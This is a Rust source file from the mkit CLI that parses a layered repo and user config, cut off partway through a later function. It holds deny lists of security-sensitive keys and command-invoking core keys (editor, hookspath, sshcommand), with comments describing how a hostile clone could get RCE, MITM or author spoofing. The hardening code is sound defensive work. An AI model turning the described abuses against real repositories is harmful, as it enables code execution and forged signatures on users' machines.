Skip to main content

mkit_cli/
config.rs

1//! `.mkit/config` parser / writer and XDG path helpers.
2//!
3//! On-disk format: `key = value`, one per line, lines starting with `#`
4//! ignored. User-facing short-hand values for `user.identity`:
5//! `ed25519:<hex>`, `mid:<u64>`, or raw `[kind][len][bytes]` hex.
6//!
7//! ## Config scope
8//!
9//! There are two layered config files. Higher-priority values win:
10//!
11//! 1. **Repo-scoped** (`<repo>/.mkit/config`) — per-project knobs that
12//!    travel with a clone: branch defaults and remote endpoints.
13//!    Security-sensitive keys are rejected here, see
14//!    [`REPO_FORBIDDEN_KEYS`].
15//! 2. **User-scoped** (`$XDG_CONFIG_HOME/mkit/config`, default
16//!    `~/.config/mkit/config`) — per-user knobs that decide what gets
17//!    signed, what gets executed, and what hosts to trust. A hostile
18//!    cloned repo cannot influence these.
19//! 3. **Built-in defaults** — fall-back when neither file sets a value.
20//!
21//! Merge order: defaults → user → repo (filtered). The repo file is
22//! parsed last so its safe values take precedence over defaults; any
23//! security-sensitive key in the repo file is rejected with a stderr
24//! warning and otherwise ignored. See `docs/THREAT-MODEL.md` for the
25//! threat model that motivates the split.
26
27use mkit_core::layout::RepoLayout;
28use std::fmt::Write as _;
29use std::fs;
30use std::io;
31use std::io::Write as _;
32use std::path::{Path, PathBuf};
33
34use thiserror::Error;
35
36pub const CONFIG_FILE: &str = ".mkit/config";
37pub const USER_CONFIG_SUBPATH: &str = "mkit/config";
38pub const DEFAULT_SIGNING_KEY: &str = ".mkit/keys/default.key";
39pub const DEFAULT_BRANCH: &str = "main";
40pub const DEFAULT_SIGNER: &str = "legacy";
41pub const DEFAULT_KEY_BACKEND: &str = "software";
42pub const DEFAULT_KEY_REF: &str = "software:default";
43pub const DEFAULT_SECP256K1_KEY_REF: &str = "software:default-secp256k1";
44pub const DEFAULT_P256_KEY_REF: &str = "software:default-p256";
45
46/// Keys that MUST NOT be settable via the per-repo `<repo>/.mkit/config`
47/// because a hostile clone could otherwise:
48///
49/// * redirect `signing_key` to overwrite arbitrary files on disk or to
50///   sign attacker-chosen content with the user's real key,
51/// * spoof the commit author by pinning `user.identity` to attacker-
52///   chosen bytes while the victim's real signing key still signs the
53///   object,
54/// * point `attest.external_signer_path` / `_args` at any binary on the
55///   host (RCE under the user's UID),
56/// * **select** a user-scoped external signer or non-Ed25519 algorithm
57///   to confused-deputy through it: even though the path is
58///   user-scoped, the *selector* (`attest.signer`,
59///   `attest.default_algorithm`) is enough to weaponize an existing
60///   user-trusted binary or key against attacker-chosen content,
61/// * mark a repo-controlled HTTP/S3 remote as trusted for ambient
62///   environment credentials,
63/// * disable SSH host-key verification on `mkit push` (MITM),
64/// * disable post-fetch commit/remix/tag signature verification
65///   (`pull.require_signed`, issue #692) — a hostile repo must not be able
66///   to switch off the one check that would otherwise reject its own
67///   unsigned/forged history on the next clone/pull/fetch.
68///
69/// They are accepted from the user-scoped config only.
70pub const REPO_FORBIDDEN_KEYS: &[&str] = &[
71    "user.identity",
72    "trusted_remote_endpoint",
73    "signer",
74    "pull.require_signed",
75    "key.backend",
76    "key.default_ref",
77    "key.ed25519_ref",
78    "key.secp256k1_ref",
79    "key.p256_ref",
80    "signing_key",
81    "ssh.strict_host_key_checking",
82    "ssh.user_known_hosts_file",
83    "ssh.identity_file",
84    "attest.signer",
85    "attest.default_algorithm",
86    "attest.external_signer_path",
87    "attest.external_signer_args",
88    "attest.external_signer_timeout_secs",
89    "attest.secp256k1_key_path",
90    "attest.p256_key_path",
91];
92
93/// Source of a parsed config line — used to decide whether a key is
94/// allowed (`Repo` rejects [`REPO_FORBIDDEN_KEYS`]; `User` accepts
95/// everything).
96#[derive(Debug, Clone, Copy, PartialEq, Eq)]
97pub enum ConfigScope {
98    Repo,
99    User,
100}
101
102/// Full in-memory representation of merged config (user + repo +
103/// defaults). All fields default to empty / documented defaults;
104/// readers that want a known-good default file should call
105/// [`read_or_default`].
106#[derive(Debug, Clone, Default, PartialEq, Eq)]
107pub struct Config {
108    /// Hex-encoded Identity: `[kind:u8][len:u16 LE][bytes]`. Empty =
109    /// derive from the signing key's public key at commit time.
110    pub user_identity: String,
111    /// Git-compatibility alias `user.name`. **Non-authoritative**: stored
112    /// and round-tripped for parity with `git config user.name`, but it
113    /// NEVER feeds the cryptographic commit author (which is
114    /// [`user_identity`](Self::user_identity) / the signing key). Repo-safe.
115    pub user_name: String,
116    /// Git-compatibility alias `user.email`. Non-authoritative, exactly
117    /// like [`user_name`](Self::user_name) — never feeds the signed author.
118    pub user_email: String,
119    /// Exact remote endpoint the user has explicitly trusted for
120    /// ambient HTTP/S3 environment credentials. User-scoped only.
121    pub trusted_remote_endpoint: String,
122    pub signing_key: String,
123    pub default_branch: String,
124    pub remote_endpoint: String,
125    pub remote_bucket: String,
126    pub remote_type: String,
127    pub ssh_strict_host_key_checking: String,
128    pub ssh_user_known_hosts_file: String,
129    pub ssh_identity_file: String,
130    /// Write-auth scheme for `mkit+https://` / `mkit+http://` remotes
131    /// (`mkit-transport-connect::ConnectTransport`). Empty/`"bearer"`
132    /// (default) sends `MKIT_API_TOKEN` as a Bearer token, unchanged from
133    /// #700/#701. `"envelope"` ADDITIONALLY signs every write RPC
134    /// (`UpdateRef`/`AdvanceRefs`/`UploadPack`) with an Ed25519 write
135    /// envelope, reusing the exact SAME signer resolution as commit
136    /// signing — [`Self::signer`] / [`Self::signing_key`] /
137    /// [`KeyConfig::ed25519_ref`](KeyConfig::ed25519_ref) — see
138    /// `remote_dispatch::envelope_signer_from_config`. Repo-safe: this
139    /// selects a wire-auth MODE, the same class of connection-shape
140    /// metadata as `remote_type`; the actual signer IDENTITY selectors
141    /// (`signer`, `signing_key`, `key.*`) stay user-scoped-only
142    /// ([`REPO_FORBIDDEN_KEYS`], unchanged) so a hostile repo cannot
143    /// redirect which key or backend does the signing — only whether
144    /// the already-user-controlled commit-signing identity is also used
145    /// to authenticate pushes to this remote.
146    pub transport_auth: String,
147    /// Commit-signing selector. User-scoped only.
148    pub signer: String,
149    /// `pull.require_signed` — gates whether `clone`/`pull`/`fetch` verify
150    /// every newly-fetched commit/remix/tag's Ed25519 signature before
151    /// publishing the remote-tracking ref (issue #692). Empty (the
152    /// documented default) and any value except `"false"`/`"0"`/`"no"`/
153    /// `"off"` mean "verify, fail closed"; see
154    /// [`Config::pull_require_signed_or_default`]. User-scoped only — a
155    /// hostile repo config must not be able to silently disable the check
156    /// that protects the clone against exactly that repo (see
157    /// [`REPO_FORBIDDEN_KEYS`]).
158    pub pull_require_signed: String,
159    /// `[key]` section. User-scoped keystore selectors.
160    pub key: KeyConfig,
161    /// `[attest]` section. Separate struct so new attest knobs don't
162    /// balloon the flat `Config`.
163    pub attest: AttestConfig,
164    /// Named remotes keyed by name (`remote.<name>.url` /
165    /// `remote.<name>.type`). Repo-safe — addresses, same class as the
166    /// flat `remote_endpoint`. The legacy flat `remote_endpoint` /
167    /// `remote_type` act as the implicit `default` remote.
168    pub remotes: std::collections::BTreeMap<String, RemoteEntry>,
169    /// Per-branch upstream tracking keyed by local branch name
170    /// (`branch.<branch>.remote` / `branch.<branch>.merge`). Repo-safe.
171    pub branch_upstreams: std::collections::BTreeMap<String, Upstream>,
172    /// Object-store durability schedule: empty/`batch` (default) =
173    /// batched commit-time flushes; `per-object` = strict historical
174    /// full-flush-per-object schedule (SPEC-OBJECTS §10.1's stricter
175    /// conforming option). Repo-safe: the non-default value only
176    /// STRENGTHENS durability (and slows writes); it cannot weaken
177    /// anything.
178    pub durability_objects: String,
179    /// Allowlisted, **inert** `core.*` git-compat keys (see
180    /// [`CORE_ALLOWED_KEYS`]). Accepted and round-tripped for parity but
181    /// **not honored** by mkit — they are cosmetic settings git stores
182    /// per-repo. Dangerous `core.*` keys ([`CORE_DENIED_KEYS`]) are rejected
183    /// rather than stored. Keyed by the bare suffix (e.g. `autocrlf`).
184    pub core: std::collections::BTreeMap<String, String>,
185}
186
187/// Inert `core.*` keys accepted for git compatibility. They are stored and
188/// round-tripped but mkit does not act on them (it has no CRLF translation,
189/// honors exec bits natively, etc.). Repo-safe precisely because inert.
190pub const CORE_ALLOWED_KEYS: &[&str] = &[
191    "autocrlf",
192    "bare",
193    "filemode",
194    "ignorecase",
195    "quotepath",
196    "symlinks",
197];
198
199/// Dangerous `core.*` keys that mkit refuses to store: they would change what
200/// commands or hooks mkit invokes if it honored them, so a hostile repo (or a
201/// typo) must not be able to set them. Rejected with a clear message.
202pub const CORE_DENIED_KEYS: &[&str] = &["editor", "fsmonitor", "hookspath", "pager", "sshcommand"];
203
204/// A named remote's stored address. `type` is a dispatch hint derived
205/// from the URL scheme at `mkit remote add` time.
206#[derive(Debug, Clone, Default, PartialEq, Eq)]
207pub struct RemoteEntry {
208    pub url: String,
209    pub remote_type: String,
210}
211
212/// Per-branch upstream: the remote name plus the remote branch this
213/// local branch tracks (`branch.<b>.merge` stores the bare branch
214/// name, e.g. `main`).
215#[derive(Debug, Clone, Default, PartialEq, Eq)]
216pub struct Upstream {
217    pub remote: String,
218    pub branch: String,
219}
220
221/// `[key]` section for keystore-backed signing. All fields are user-scoped.
222#[derive(Debug, Clone, Default, PartialEq, Eq)]
223pub struct KeyConfig {
224    /// Default backend for `mkit key` commands.
225    pub backend: String,
226    /// Generic key reference.
227    pub default_ref: String,
228    /// Ed25519 key reference.
229    pub ed25519_ref: String,
230    /// secp256k1 key reference.
231    pub secp256k1_ref: String,
232    /// P-256 key reference.
233    pub p256_ref: String,
234}
235
236impl KeyConfig {
237    #[must_use]
238    pub fn backend_or_fallback(&self) -> &str {
239        if self.backend.is_empty() {
240            DEFAULT_KEY_BACKEND
241        } else {
242            self.backend.as_str()
243        }
244    }
245
246    #[must_use]
247    pub fn default_ref_or_fallback(&self) -> &str {
248        if self.default_ref.is_empty() {
249            DEFAULT_KEY_REF
250        } else {
251            self.default_ref.as_str()
252        }
253    }
254
255    #[must_use]
256    pub fn ed25519_ref_or_fallback(&self) -> &str {
257        if self.ed25519_ref.is_empty() {
258            self.default_ref_or_fallback()
259        } else {
260            self.ed25519_ref.as_str()
261        }
262    }
263
264    #[must_use]
265    pub fn secp256k1_ref_or_fallback(&self) -> &str {
266        if self.secp256k1_ref.is_empty() {
267            if self.default_ref.is_empty() {
268                DEFAULT_SECP256K1_KEY_REF
269            } else {
270                self.default_ref.as_str()
271            }
272        } else {
273            self.secp256k1_ref.as_str()
274        }
275    }
276
277    #[must_use]
278    pub fn p256_ref_or_fallback(&self) -> &str {
279        if self.p256_ref.is_empty() {
280            if self.default_ref.is_empty() {
281                DEFAULT_P256_KEY_REF
282            } else {
283                self.default_ref.as_str()
284            }
285        } else {
286            self.p256_ref.as_str()
287        }
288    }
289}
290
291/// Parsed config with per-layer provenance preserved so callers can
292/// distinguish "repo configured this" from "user explicitly trusted
293/// this".
294#[derive(Debug, Clone, Default, PartialEq, Eq)]
295pub struct LayeredConfig {
296    pub merged: Config,
297    pub user: Config,
298    pub repo: Config,
299}
300
301/// `[attest]` section. All fields optional with documented defaults; a
302/// fresh repo's config file has none of them set.
303#[derive(Debug, Clone, Default, PartialEq, Eq)]
304pub struct AttestConfig {
305    /// One of `"ed25519"`, `"secp256k1"`, `"p256"`. Empty = `"ed25519"`.
306    pub default_algorithm: String,
307    /// One of `"repo-key"`, `"external"`, `"keystore"`. Empty = `"repo-key"`.
308    pub signer: String,
309    /// Absolute path to the external signer binary. Required when
310    /// `signer = "external"`. User-scoped only.
311    pub external_signer_path: String,
312    /// Extra argv tokens to pass to the external signer subprocess.
313    /// Each `Vec` entry is one argv entry — the stored list maps 1:1
314    /// to `std::process::Command::args`. On disk, encoded as a
315    /// pipe-separated string: `attest.external_signer_args = sign|--tag|demo`.
316    /// User-scoped only.
317    pub external_signer_args: Vec<String>,
318    /// Wall-clock budget (in seconds) for the entire external-signer
319    /// conversation: spawn → request-write → response-read →
320    /// stderr-drain → child-exit. On expiry mkit kills and reaps the
321    /// child. Empty / 0 = use the crate default (120s, generous for
322    /// hardware touch/PIN/biometric). User-scoped only — see
323    /// [`REPO_FORBIDDEN_KEYS`] (a hostile repo must not be able to set a
324    /// 0s "deny" timeout or a multi-hour hang).
325    pub external_signer_timeout_secs: Option<u64>,
326    /// Per-algorithm repo-key paths for non-ed25519 signing.
327    /// User-scoped only — see [`REPO_FORBIDDEN_KEYS`].
328    pub secp256k1_key_path: String,
329    pub p256_key_path: String,
330}
331
332impl AttestConfig {
333    #[must_use]
334    pub fn default_algorithm_or_fallback(&self) -> &str {
335        if self.default_algorithm.is_empty() {
336            "ed25519"
337        } else {
338            self.default_algorithm.as_str()
339        }
340    }
341
342    #[must_use]
343    pub fn signer_or_fallback(&self) -> &str {
344        if self.signer.is_empty() {
345            "repo-key"
346        } else {
347            self.signer.as_str()
348        }
349    }
350
351    #[must_use]
352    pub fn secp256k1_key_path_or_default(&self) -> &str {
353        if self.secp256k1_key_path.is_empty() {
354            ".mkit/keys/secp256k1.key"
355        } else {
356            self.secp256k1_key_path.as_str()
357        }
358    }
359
360    #[must_use]
361    pub fn p256_key_path_or_default(&self) -> &str {
362        if self.p256_key_path.is_empty() {
363            ".mkit/keys/p256.key"
364        } else {
365            self.p256_key_path.as_str()
366        }
367    }
368}
369
370impl Config {
371    /// Return a Config with documented defaults filled in.
372    #[must_use]
373    pub fn with_defaults() -> Self {
374        Self {
375            signing_key: DEFAULT_SIGNING_KEY.to_owned(),
376            default_branch: DEFAULT_BRANCH.to_owned(),
377            signer: DEFAULT_SIGNER.to_owned(),
378            key: KeyConfig {
379                backend: DEFAULT_KEY_BACKEND.to_owned(),
380                default_ref: String::new(),
381                ed25519_ref: String::new(),
382                secp256k1_ref: String::new(),
383                p256_ref: String::new(),
384            },
385            ..Self::default()
386        }
387    }
388}
389
390#[derive(Debug, Error)]
391pub enum ConfigError {
392    #[error("I/O: {0}")]
393    Io(#[from] io::Error),
394    #[error("invalid config value — control characters are not permitted")]
395    InvalidValue,
396    #[error("unknown config key: {0}")]
397    UnknownKey(String),
398    #[error("invalid user.identity: {0}")]
399    InvalidUserIdentity(&'static str),
400    #[error(
401        "key path must not contain `..`; relative paths must stay under `.mkit/keys/` and absolute paths must stay under `$HOME`: {0}"
402    )]
403    InvalidKeyPath(String),
404}
405
406/// Validate that a key-file path (`signing_key`, `attest.*_key_path`,
407/// `ssh.*_file`) cannot escape via `..` traversal. Empty strings pass
408/// — callers fall back to the documented default.
409impl Config {
410    /// Map `durability.objects` onto the object-store sync policy.
411    /// Unknown values fall back to the batched default rather than
412    /// erroring — config load must not brick the repo.
413    #[must_use]
414    pub fn object_sync_policy(&self) -> mkit_core::store::SyncPolicy {
415        match self.durability_objects.trim() {
416            "per-object" | "per_object" => mkit_core::store::SyncPolicy::PerObject,
417            _ => mkit_core::store::SyncPolicy::Batch,
418        }
419    }
420
421    /// Effective `pull.require_signed` (issue #692): `true` unless the
422    /// user-scoped config explicitly disabled it. Empty (unset, the
423    /// documented default) and any unrecognized value are treated as
424    /// "verify" — only an explicit falsy spelling opts out, so a typo in
425    /// the config file fails closed rather than silently disabling the
426    /// check.
427    #[must_use]
428    pub fn pull_require_signed_or_default(&self) -> bool {
429        !matches!(
430            self.pull_require_signed
431                .trim()
432                .to_ascii_lowercase()
433                .as_str(),
434            "false" | "0" | "no" | "off"
435        )
436    }
437
438    /// `true` iff [`Self::transport_auth`] selects the Ed25519 write-envelope
439    /// auth mode (case-insensitive `"envelope"`). Empty (the default) and
440    /// any other value mean the unchanged bearer-token-only behavior.
441    #[must_use]
442    pub fn transport_auth_envelope(&self) -> bool {
443        self.transport_auth.trim().eq_ignore_ascii_case("envelope")
444    }
445}
446
447pub fn validate_key_path(value: &str) -> Result<(), ConfigError> {
448    if value.is_empty() {
449        return Ok(());
450    }
451    let p = Path::new(value);
452    for comp in p.components() {
453        if matches!(comp, std::path::Component::ParentDir) {
454            return Err(ConfigError::InvalidKeyPath(value.to_owned()));
455        }
456    }
457    Ok(())
458}
459
460/// Resolve a configured signing-key path against `root`.
461///
462/// Policy from the security hardening follow-up:
463/// - relative paths are allowed only under `<repo>/.mkit/keys/`
464/// - absolute paths are allowed only under the home directory of the
465///   process's effective uid (looked up via `getpwuid_r(geteuid())`,
466///   not `$HOME`, so a hostile parent can't set `HOME=/` and admit
467///   every absolute path).
468pub fn resolve_key_path(layout: &RepoLayout, value: &str) -> Result<PathBuf, ConfigError> {
469    validate_key_path(value)?;
470    let path = Path::new(value);
471    if path.is_absolute() {
472        let Some(home) = home_dir_for_euid() else {
473            return Err(ConfigError::InvalidKeyPath(value.to_owned()));
474        };
475        return if path.starts_with(&home) {
476            Ok(path.to_path_buf())
477        } else {
478            Err(ConfigError::InvalidKeyPath(value.to_owned()))
479        };
480    }
481
482    // A relative key path is repo-relative with a mandatory
483    // `.mkit/keys/` prefix. Resolve the `.mkit/` component against the
484    // layout's COMMON dir — the one shared key store — so a linked
485    // worktree (#493) signs with the same repo keys as the main tree.
486    // Single-worktree repos resolve byte-identically to the historical
487    // `<root>/.mkit/…` join.
488    let Ok(under_mkit) = path.strip_prefix(mkit_core::MKIT_DIR) else {
489        return Err(ConfigError::InvalidKeyPath(value.to_owned()));
490    };
491    let joined = layout.common_dir().join(under_mkit);
492    let repo_keys = layout.keys_dir();
493    if !joined.starts_with(&repo_keys) {
494        return Err(ConfigError::InvalidKeyPath(value.to_owned()));
495    }
496    Ok(joined)
497}
498
499/// Resolve the home directory of the current effective uid via
500/// `getpwuid_r`, ignoring `$HOME`.
501///
502/// `$HOME` is part of the parent process's environment and a malicious
503/// parent can set it to anything (`/`, `/tmp`, an attacker-owned dir)
504/// before exec'ing `mkit`. The kernel-side passwd database, by
505/// contrast, is rooted in the system's user store and tracks the same
506/// uid used elsewhere in the security checks (`load_raw_32`'s owner
507/// check, parent-dir mode check, etc.). Falling back to `$HOME` would
508/// re-introduce the exact attack we're trying to close, so we don't.
509#[cfg(unix)]
510#[must_use]
511pub fn home_dir_for_euid() -> Option<PathBuf> {
512    use std::ffi::CStr;
513    use std::os::unix::ffi::OsStringExt;
514
515    // `getpwuid_r` writes into caller-provided buffers. 4 KiB matches
516    // the `_SC_GETPW_R_SIZE_MAX` advisory size on Linux/macOS and is
517    // far more than any real passwd entry needs; if it ever overflows
518    // we fail closed (the caller treats `None` as "refuse the absolute
519    // path") rather than retrying with a larger buffer.
520    //
521    // SAFETY: `getpwuid_r` is the thread-safe / reentrant variant of
522    // `getpwuid`. `pwd` and `buf` are valid stack memory of known size
523    // for the duration of the call; `result` is set to either `&pwd`
524    // (entry found) or NULL (no entry). `geteuid` is parameterless and
525    // infallible. We only read `pwd.pw_dir` when `result == &pwd`, and
526    // the bytes we hand out come from copying through `CStr`, not from
527    // continuing to dereference `pwd` after the unsafe block ends.
528    // Reviewed alongside the matching `geteuid` block in
529    // `mkit_core::sign`.
530    #[allow(unsafe_code)]
531    let pw_dir_owned = unsafe {
532        let mut buf = [0i8; 4096];
533        let mut pwd: libc::passwd = std::mem::zeroed();
534        let mut result: *mut libc::passwd = std::ptr::null_mut();
535        let rc = libc::getpwuid_r(
536            libc::geteuid(),
537            std::ptr::addr_of_mut!(pwd),
538            buf.as_mut_ptr().cast::<libc::c_char>(),
539            buf.len(),
540            std::ptr::addr_of_mut!(result),
541        );
542        if rc != 0 || result.is_null() || pwd.pw_dir.is_null() {
543            None
544        } else {
545            // Copy the C string out before `buf` / `pwd` go out of
546            // scope. `to_bytes` does not include the trailing NUL.
547            Some(CStr::from_ptr(pwd.pw_dir).to_bytes().to_vec())
548        }
549    };
550    let bytes = pw_dir_owned?;
551    if bytes.is_empty() {
552        return None;
553    }
554    Some(PathBuf::from(std::ffi::OsString::from_vec(bytes)))
555}
556
557#[cfg(not(unix))]
558#[must_use]
559pub fn home_dir_for_euid() -> Option<PathBuf> {
560    // Windows: there's no `getpwuid` equivalent. `%USERPROFILE%` is
561    // the conventional environment variable but is no more
562    // tamper-resistant than `$HOME` on Unix. Document the gap and
563    // accept it — the user-vs-attacker threat model on Windows is
564    // bounded by the user-profile ACL, not by this check.
565    std::env::var_os("USERPROFILE").map(PathBuf::from)
566}
567
568/// Split a pipe-separated argv string into argv tokens.
569#[must_use]
570pub fn parse_pipe_list(s: &str) -> Vec<String> {
571    if s.is_empty() {
572        return Vec::new();
573    }
574    s.split('|').map(str::to_owned).collect()
575}
576
577/// Validate a config value has no control bytes below 0x20 (except
578/// tab) and no 0x7f.
579pub fn validate_value(v: &str) -> Result<(), ConfigError> {
580    for b in v.bytes() {
581        if b < 0x20 || b == 0x7f {
582            return Err(ConfigError::InvalidValue);
583        }
584    }
585    Ok(())
586}
587
588/// Resolve the user-scoped config file path:
589/// `$XDG_CONFIG_HOME/mkit/config`, falling back to
590/// `$HOME/.config/mkit/config`.
591#[must_use]
592pub fn user_config_path() -> PathBuf {
593    xdg_config_home().join(USER_CONFIG_SUBPATH)
594}
595
596/// Read the layered config: defaults → user-scoped → repo-scoped
597/// (filtered to non-sensitive keys). Missing files are not errors; the
598/// per-layer absence simply leaves the lower layer's value in place.
599///
600/// If the repo file sets a key listed in [`REPO_FORBIDDEN_KEYS`], a
601/// warning is printed to stderr and the value is dropped.
602pub fn read_or_default(layout: &RepoLayout) -> Result<Config, ConfigError> {
603    let mut cfg = Config::with_defaults();
604    apply_file(&mut cfg, &user_config_path(), ConfigScope::User)?;
605    apply_file(&mut cfg, &layout.config_file(), ConfigScope::Repo)?;
606    // `-c <key>=<val>` one-shot overrides apply to BOTH the layered and the
607    // flat read path, so `mkit -c … <any-command>` is honored uniformly
608    // (commit/merge/etc. read through here). Same forbidden-key enforcement.
609    apply_cli_overrides(&mut cfg);
610    Ok(cfg)
611}
612
613/// Read both raw layers plus the merged config.
614pub fn read_layered(layout: &RepoLayout) -> Result<LayeredConfig, ConfigError> {
615    let mut merged = Config::with_defaults();
616    let user_path = user_config_path();
617    let repo_path = layout.config_file();
618    apply_file_inner(&mut merged, &user_path, ConfigScope::User, true)?;
619    apply_file_inner(&mut merged, &repo_path, ConfigScope::Repo, true)?;
620    // `-c <key>=<val>` one-shot overrides (git parity) are applied LAST, on
621    // top of every file layer, but ONLY to the effective `merged` view —
622    // never to `user`/`repo`, so they are never persisted by a later
623    // `config::write`. They flow through the SAME forbidden-key enforcement
624    // as a per-repo file: security-sensitive keys (`REPO_FORBIDDEN_KEYS`)
625    // and dangerous `core.*` (`CORE_DENIED_KEYS`) are refused, so `-c`
626    // cannot spoof the signed author or redirect signing/transport trust.
627    apply_cli_overrides(&mut merged);
628
629    let mut user = Config::default();
630    apply_file_inner(&mut user, &user_path, ConfigScope::User, false)?;
631
632    let mut repo = Config::default();
633    apply_file_inner(&mut repo, &repo_path, ConfigScope::Repo, false)?;
634
635    Ok(LayeredConfig { merged, user, repo })
636}
637
638/// Process-global `-c <key>=<val>` overrides set once by the CLI
639/// dispatcher before any command runs.
640static CLI_OVERRIDES: std::sync::OnceLock<std::sync::Mutex<Vec<(String, String)>>> =
641    std::sync::OnceLock::new();
642
643/// Record the `-c key=value` overrides parsed from the global flags. Each
644/// is `(key, value)`; an empty list clears any previous set. Idempotent
645/// and safe to call before dispatch.
646pub fn set_cli_overrides(overrides: Vec<(String, String)>) {
647    let slot = CLI_OVERRIDES.get_or_init(|| std::sync::Mutex::new(Vec::new()));
648    if let Ok(mut guard) = slot.lock() {
649        *guard = overrides;
650    }
651}
652
653/// Apply the recorded `-c` overrides to `cfg`, enforcing the same
654/// forbidden-key / denied-`core.*` rules a per-repo file gets.
655fn apply_cli_overrides(cfg: &mut Config) {
656    let Some(slot) = CLI_OVERRIDES.get() else {
657        return;
658    };
659    let Ok(overrides) = slot.lock() else {
660        return;
661    };
662    for (raw_key, val) in overrides.iter() {
663        let key = normalize_config_key(raw_key.trim());
664        if REPO_FORBIDDEN_KEYS.contains(&key.as_str()) {
665            let mut stderr = io::stderr().lock();
666            let _ = writeln!(
667                stderr,
668                "warning: ignoring `-c {key}=…` (security-sensitive keys cannot be set via -c; \
669                 set it in your user config — see docs/THREAT-MODEL.md)"
670            );
671            continue;
672        }
673        // Reject control characters in the value (defense in depth — same
674        // check `mkit config` applies before persisting).
675        if validate_value(val.trim()).is_err() {
676            let mut stderr = io::stderr().lock();
677            let _ = writeln!(
678                stderr,
679                "warning: ignoring `-c {key}=…` (value contains control characters)"
680            );
681            continue;
682        }
683        apply_kv(cfg, &key, val.trim());
684    }
685}
686
687/// Apply a single config file to `cfg` under the given scope. Missing
688/// file → no-op (returns `Ok`). Malformed lines are tolerated.
689///
690/// Public-in-crate so tests can drive layering without mutating the
691/// process's `XDG_CONFIG_HOME` env var (which would race with parallel
692/// tests and trip the `disallowed-methods` lint).
693pub(crate) fn apply_file(
694    cfg: &mut Config,
695    path: &Path,
696    scope: ConfigScope,
697) -> Result<(), ConfigError> {
698    apply_file_inner(cfg, path, scope, true)
699}
700
701fn apply_file_inner(
702    cfg: &mut Config,
703    path: &Path,
704    scope: ConfigScope,
705    warn_on_forbidden: bool,
706) -> Result<(), ConfigError> {
707    let text = match fs::read_to_string(path) {
708        Ok(s) => s,
709        Err(e) if e.kind() == io::ErrorKind::NotFound => return Ok(()),
710        Err(e) => return Err(e.into()),
711    };
712    for raw_line in text.lines() {
713        let line = raw_line.trim();
714        if line.is_empty() || line.starts_with('#') {
715            continue;
716        }
717        let Some((k, v)) = line.split_once('=') else {
718            continue;
719        };
720        // Git matches config section + variable names case-insensitively,
721        // so a hand-edited `User.Name` / `Core.AutoCRLF` must resolve like
722        // its canonical form. Normalize BEFORE the forbidden-key check so a
723        // case-variant (`User.Identity`) can't slip a security-sensitive key
724        // into the per-repo layer. Subsection names (`remote.<name>`,
725        // `branch.<branch>`) keep their case — they are case-sensitive in
726        // git, and lowercasing them would corrupt named remotes on reload.
727        let key = normalize_config_key(k.trim());
728        let key = key.as_str();
729        let val = v.trim();
730        if scope == ConfigScope::Repo && REPO_FORBIDDEN_KEYS.contains(&key) {
731            if warn_on_forbidden {
732                warn_forbidden_repo_key(path, key);
733            }
734            continue;
735        }
736        apply_kv(cfg, key, val);
737    }
738    Ok(())
739}
740
741fn warn_forbidden_repo_key(path: &Path, key: &str) {
742    let mut stderr = io::stderr().lock();
743    let _ = writeln!(
744        stderr,
745        "warning: ignoring `{key}` from per-repo config at {} \
746         (security-sensitive keys are user-scoped only — see {} \
747         and docs/THREAT-MODEL.md)",
748        path.display(),
749        user_config_path().display()
750    );
751}
752
753/// Apply one parsed key/value pair to `cfg`. Unknown / legacy keys are
754/// tolerated (silent) for forward compat with hand-edited files.
755fn apply_kv(cfg: &mut Config, key: &str, val: &str) {
756    // Inert git-compat `core.*` keys: store only the allowlisted ones
757    // (dangerous keys are dropped on read, like any other unknown key).
758    if let Some(suffix) = core_allowed_suffix(key) {
759        cfg.core.insert(suffix, val.to_string());
760        return;
761    }
762    match key {
763        "user.identity" => val.clone_into(&mut cfg.user_identity),
764        // Git-compatibility aliases — non-authoritative (never feed the
765        // signed author), so they are repo-safe to read at any scope.
766        "user.name" => val.clone_into(&mut cfg.user_name),
767        "user.email" => val.clone_into(&mut cfg.user_email),
768        "trusted_remote_endpoint" => val.clone_into(&mut cfg.trusted_remote_endpoint),
769        "signer" => val.clone_into(&mut cfg.signer),
770        "pull.require_signed" => val.clone_into(&mut cfg.pull_require_signed),
771        "key.backend" => val.clone_into(&mut cfg.key.backend),
772        "key.default_ref" => val.clone_into(&mut cfg.key.default_ref),
773        "key.ed25519_ref" => val.clone_into(&mut cfg.key.ed25519_ref),
774        "key.secp256k1_ref" => val.clone_into(&mut cfg.key.secp256k1_ref),
775        "key.p256_ref" => val.clone_into(&mut cfg.key.p256_ref),
776        "signing_key" => val.clone_into(&mut cfg.signing_key),
777        "default_branch" => val.clone_into(&mut cfg.default_branch),
778        "durability.objects" => val.clone_into(&mut cfg.durability_objects),
779        "remote_endpoint" => val.clone_into(&mut cfg.remote_endpoint),
780        "remote_bucket" => val.clone_into(&mut cfg.remote_bucket),
781        "remote_type" => val.clone_into(&mut cfg.remote_type),
782        "ssh.strict_host_key_checking" => val.clone_into(&mut cfg.ssh_strict_host_key_checking),
783        "ssh.user_known_hosts_file" => val.clone_into(&mut cfg.ssh_user_known_hosts_file),
784        "ssh.identity_file" => val.clone_into(&mut cfg.ssh_identity_file),
785        "transport_auth" => val.clone_into(&mut cfg.transport_auth),
786        "attest.default_algorithm" => val.clone_into(&mut cfg.attest.default_algorithm),
787        "attest.signer" => val.clone_into(&mut cfg.attest.signer),
788        "attest.external_signer_path" => val.clone_into(&mut cfg.attest.external_signer_path),
789        "attest.external_signer_args" => {
790            cfg.attest.external_signer_args = parse_pipe_list(val);
791        }
792        "attest.external_signer_timeout_secs" => {
793            // Tolerate a malformed value on read (mirrors the rest of
794            // this parser): an unparseable number leaves the default in
795            // effect rather than aborting config load.
796            cfg.attest.external_signer_timeout_secs = val.trim().parse::<u64>().ok();
797        }
798        "attest.secp256k1_key_path" => val.clone_into(&mut cfg.attest.secp256k1_key_path),
799        "attest.p256_key_path" => val.clone_into(&mut cfg.attest.p256_key_path),
800        // Dotted section keys: `remote.<name>.{url,type}` (repo-safe
801        // addresses) and `branch.<b>.{remote,merge}` (per-branch
802        // upstream). Each remote endpoint still flows through the #97
803        // per-endpoint gate, so a named remote cannot smuggle ambient
804        // creds.
805        _ if apply_section_kv(cfg, key, val) => {}
806        // Legacy keys — silently ignored.
807        "author_mid" | "project_id" | "network" => {}
808        _ if key.ends_with("_url") => {}
809        _ => {} // unknown keys: tolerate on read
810    }
811}
812
813/// `true` if `key` is in the `core` section (`core.<x>`), matched
814/// case-insensitively like git (`Core.x`, `CORE.x` all count).
815#[must_use]
816pub fn is_core_section(key: &str) -> bool {
817    key.split_once('.')
